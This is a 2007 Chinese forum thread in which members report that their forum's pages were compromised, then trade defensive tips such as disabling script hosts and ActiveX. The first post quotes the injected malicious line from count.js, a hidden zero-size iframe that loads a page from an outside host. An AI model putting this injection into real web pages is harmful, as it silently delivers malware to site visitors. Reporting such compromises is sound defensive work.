又又又...... 见木马

space2007 · 发表于 2007-2-8 06:21:14

咖啡代码

<script type="text/javascript" src="customavatars/count.js"></script>

count.js 里的第二行

document.write("<iframe src=http://55880.cn/adminmulti/yes.htm width=0 height=0></iframe>");

jseric · 发表于 2007-2-8 06:37:57

的确有了

kouun · 发表于 2007-2-9 04:45:00

管理员诸位大人应该搞搞病毒了

nioumiya · 发表于 2007-2-9 06:11:43

把广告撤了吧

RINGO · 发表于 2007-2-10 06:07:42

才知道coffee前不久被人挂马了，我的SSM一直都没弹东西出来过
系统查查也没什么

看其他帖子里的木马名称里有.JS和.VBS
我以前装完系统后就把IE选项中的ActiveX控件，Java小程序脚本…………都禁用了
还把.js .vbs .vbe等和script相关的文件关联都删掉了

应该没事吧

[ 本帖最后由 RINGO 于 2007-2-9 22:16 编辑 ]

shirogumo · 发表于 2007-2-10 22:59:49

ringo的办法好像不错的
小芸也学学

不过小芸家里的电脑已经重装系统了
虽然不确定在哪里混到的病毒

不过隔三差五的看着会员反映咖啡有毒
总是很担心呢

chris_110 · 发表于 2007-2-11 23:55:11

偶的还好满听话的偶三个月重装一次

shirogumo · 发表于 2007-2-12 23:54:40

重装

小芸这样子的电脑小白
就不没有想法了

chris_110 · 发表于 2007-2-13 01:08:55

表紧的呀学学就会了小芸很聪明的
如果小芸白偶就是透明的饿~~

[ 本帖最后由 chris_110 于 2007-2-12 17:10 编辑 ]

shirogumo · 发表于 2007-2-13 01:37:09

难得有人变相夸小芸聪明哦

RINGO · 发表于 2007-2-14 03:06:40

再补充一点点在书上看到的关于防范网络脚本病毒的方法：
禁用wsh（windows脚本宿主）：
在开始——运行中输入
regsvr32 /u wshext.dll
regsvr32 /u wshom.ocx
禁用FSO（文件系统对象）：
在开始——运行中输入
regsvr32 /u scrrun.dll
－－－－－－－－－－－－－－
如果想恢复，只要把/u去掉，重新输入regsvr32 XXXXX.xxx就可以了

		自动登录	找回密码
密码			注～册

又又又...... 见木马

回复 #5 RINGO 的帖子

回复 #7 chris_110 的帖子

回复 #9 chris_110 的帖子